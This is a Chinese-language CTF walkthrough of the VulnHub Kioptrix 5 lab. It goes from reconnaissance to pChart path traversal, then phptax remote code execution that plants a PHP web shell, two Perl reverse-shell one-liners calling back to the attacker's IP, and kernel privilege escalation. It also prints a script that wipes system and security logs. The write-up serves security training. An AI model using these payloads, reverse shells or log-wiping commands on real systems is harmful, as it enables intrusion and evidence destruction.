当前位置: 首页 > news >正文

vulnhub靶场之【kioptrix-5】靶机

前言

靶机:kioptrix-5,IP地址为192.168.10.10

攻击:kali,IP地址为192.168.10.6

都采用VMware虚拟机,网卡为桥接模式

这里需要注意,在靶机安装后,先把原本的网卡删除,重新添加一个网络适配器,并选择桥接模式即可,这里在靶机的官方也是给出了这个问题。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.1.74 -p- -T4

这里看到扫描出的ssh当前处于关闭状态

网站信息探测

访问80端口,发现相当于网站的默认界面

查看页面源代码,发现一个注释中的信息,提供一个url,可能是网站目录

把这个url拼接在80端口的目录,发现应该是一个cms

使用whatweb工具或者wappalyzer插件分析网站构造

采用apache2.2.21(freeBSD)版本,扩展mod_ssl2.2.21版本,php版本5.3.8

既然这里给了url,是否有其他可能,直接使用工具进行扫描测试

工具选择很多,这里采用dirsearch扫描的,也可以使用gobuster、ffuf、dirb等工具

dirsearch -u http://192.168.10.10/pChart2.1.3/ -x 404

访问readme.txt,确定该cms的版本

漏洞寻找及利用

使用searchsploit搜索有无对应的漏洞,发现有一个文档

查看文档,里面记录了该cms存在的漏洞,包括xss和文件包含,路径遍历

当前来看,xss可能无法给予更多的东西,尝试路径,测试后发现,该方式确实可以

因为靶机采用apache,所以,尝试默认的日志文件路径,看能否查看

测试默认的/etc/apache2路径后,发现配置文件httpd.confapache.conf都无

之前在使用whatweb扫描出的靶机是freeBSD的,所以百度一下,其默认的界面,或者访问官方文档

当然这也可以通过前面的路径遍历,根据收集的字典去进行爆破,也是可以的

首先查看配置文件,查看一圈,发现并未有把任何文件都解析为php的,或者把日志文件解析为php也是没有的,不过在配置文件中,发现一个信息

那么访问8080端口进行测试,发现直接访问就是403,那么就是与这个配置有关,需要指定user-agentMozilla/4.0 Mozilla4_browser

不过这里因为所有8080端口的请求都需要该user-agent,所以推荐使用浏览器插件user-agent switch and manager这个可以使得浏览器在访问的时候,一直采用固定的user-agent

这个界面也挺像某种cms的,只是不知道是否有漏洞,搜索了一下,其最新版本是2002.08版本

反弹shell

使用searchsploit搜索,发现除了使用msf外,有两种形式,远程代码执行倒是符合现在所需要的

查看第二个文件25849.txt,整体是一个php脚本,更改名称后可用,并且其中是有用法的,若是采用这种方式,需要修改脚本中的user-agent

这里我采用脚本中的关键代码进行测试

http://192.168.10.10:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

在浏览器的url中构造即可,然后后面再通过访问前面构造的文件,即可触发

http://192.168.10.10:8080/phptax/data/rce.php?cmd=id

这时候就可以构造反弹shell的代码测试

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.10.6:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

在尝试众多的反弹shell后,这个语句成功获取

推荐一个网站吧,这里反弹shell挺多的https://forum.ywhack.com/reverse-shell/

提权

进入后,发现并不能切换目录,并且大部分都是无法使用,可能获取的shell,并没有sh的原因,不过可以直接使用命令sh,这样就可以切换目录等操作,不过即使这样也是无用

或者另开一个nc监听,构造perlsh的情况,经测试,靶机只有sh

perl -e 'use Socket;$i="192.168.10.6";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这里反弹成功后,对于sh有个提示,说是无权tty,以及任务控制关闭

使用find寻找到具有SUID权限的文件后,经过测试也是无法使用的,可参考网站https://gtfobins.github.io

收集靶机内核版本信息

内核信息有了,使用searchsploit搜索,发现有对应的内核版本提权

有文件。那么现在就是想办法传输,测试有哪些命令吧

ncgcc,那么使用nc传输文件

然后使用gcc编译文件后,执行后就获取root权限

查看/root目录下的东西

还有一个日志清空的脚本,查看脚本内容

rm /root/folderMonitor.log
rm /var/log/sendmail.st.0
echo "" > /root/.history
echo "" > /var/log/httpd-access.log
echo "" > /var/log/httpd-error.log
echo "" > /usr/local/ossec-hids/logs/alerts/alerts.log
echo "" > /var/log/messages
echo "" > /var/log/lpd-errs
echo "" > /var/log/auth.log
echo "" > /var/log/maillog
echo "" > /var/log/security
echo "" > /var/log/userlog
echo "" > /var/log/xferlog
echo "" > /var/log/cron
echo "" > /var/log/sendmail.st
echo "" > /var/log/utx.lastlogin
echo "" > /var/log/utx.log
echo "" > /var/log/ppp.log
echo "" > /var/log/debug.log

总结

该靶机的考察有以下几点值得思考

  1. 对于信息收集能否全面,或者说能否更详细,这里就是因为收集到靶机的网站为freeBSD搭建的apache框架,然后才能想到去搜索配置文件的默认路径
  2. 对于网站出现的cms,可以尝试去搜索有无历史漏洞,要理解漏洞形成
  3. 对于反弹shell,要多尝试,所以才会有各种各样的反弹shell,这里还只是基本层面的
  4. 对于提权,也要会收集靶机信息,这里只是内核提权,若是有多台机器,也要去思考

相关文章:

  • 纯电动商用车核心性能评价方法实现
  • uniapp 测试 IPA 包安装到测试 iPhone
  • 如何使用Docker搭建哪吒监控面板程序
  • java2025热点面试题之springmvc
  • C# 类型转换
  • vue3:四嵌套路由的实现
  • 学Java第三十天------------多态
  • 20250226-代码笔记05-class CVRP_Decoder
  • 【无人机】无人机通信模块,无人机图数传模块的介绍,数传,图传,图传数传一体电台,
  • 什么是HA
  • keil主题(vscode风格)
  • ClickHouse
  • P1123 取数游戏
  • 实战案例:排查 Java 应用 CPU 飙高问题
  • 自由学习记录(40)
  • HFSS 仿真学习1 K波段定向耦合器
  • JAVA面试_进阶部分_netty面试题
  • 【Java】多线程篇 —— 多线程的基本使用
  • 58、深度学习-自学之路-自己搭建深度学习框架-19、RNN神经网络梯度消失和爆炸的原因(从公式推导方向来说明),通过RNN的前向传播和反向传播公式来理解。
  • 商城源码的框架
  • 长春百度网站快速排名/凡科建站快车
  • 用python做网站的多吗/昆明seo推广外包
  • 网站服务器价格/软件开发app制作
  • 学敏网站建设/营销策划方案内容
  • 医院网站推广方法/在线咨询 1 网站宣传
  • 修改 网站 数据库/网站策划方案